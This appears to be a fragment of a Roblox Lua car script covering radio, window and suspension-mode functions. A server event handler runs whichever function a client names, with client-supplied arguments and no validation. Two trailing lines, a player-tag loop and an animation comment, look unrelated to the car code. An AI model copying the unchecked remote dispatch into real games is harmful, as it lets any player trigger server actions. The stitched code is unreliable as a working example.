F.updateWindows = function(Window, Toggle) if script.Parent.Parent.Windows:findFirstChild(Window) then script.Parent.Parent.Windows:findFirstChild(Window).Value = Toggle end end F.volumedown = function(VolDown) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume - 1 end F.volumeup = function(VolUp) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1 end F.fm = function(ok) carSeat.Parent.Body.MP.Sound:Stop() carSeat.Stations.mood.Value = ok end F.updateSong = function(id) carSeat.Stations.mood.Value = 5 carSeat.Parent.Body.MP.Sound:Stop() wait() carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..id wait() carSeat.Parent.Body.MP.Sound:Play() end F.pauseSong = function() carSeat.Stations.mood.Value = 5 carSeat.Parent.Body.MP.Sound:Stop() end F.updateVolume = function(Vol) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol/5 end F.updateValue = function(Val, Value) if Val then Val.Value = Value end end F.Sport = function() carSeat.Mode.Value = "Sport" carSeat.Parent.Wheels.FL.Spring.FreeLength = 2.2 carSeat.Parent.Wheels.FR.Spring.FreeLength = 2.2 carSeat.Parent.Wheels.RL.Spring.FreeLength = 2.2 carSeat.Parent.Wheels.RR.Spring.FreeLength = 2.2 carSeat.EcoIdle.Value = 2 end F.Comfort = function() carSeat.Mode.Value = "Comfort" carSeat.Parent.Wheels.FL.Spring.FreeLength = 2.8 carSeat.Parent.Wheels.FR.Spring.FreeLength = 2.8 carSeat.Parent.Wheels.RL.Spring.FreeLength = 2.8 carSeat.Parent.Wheels.RR.Spring.FreeLength = 2.8 carSeat.EcoIdle.Value = 1 end F.Dynamic = function() carSeat.Mode.Value = "Dynamic" carSeat.Parent.Wheels.FL.Spring.FreeLength = 1.8 carSeat.Parent.Wheels.FR.Spring.FreeLength = 1.8 carSeat.Parent.Wheels.RL.Spring.FreeLength = 1.8 carSeat.Parent.Wheels.RR.Spring.FreeLength = 1.8 carSeat.EcoIdle.Value = 3 end script.Parent.OnServerEvent:connect(function(Player, Func, ...) if F[Func] then F[Func](...) end end)
--// Player Events
game:GetService("RunService").Heartbeat:connect(function() for _,v in pairs(game.Players:GetPlayers()) do UpdateTag(v); end; end)
-- Do NOT use looping animations or it will break your character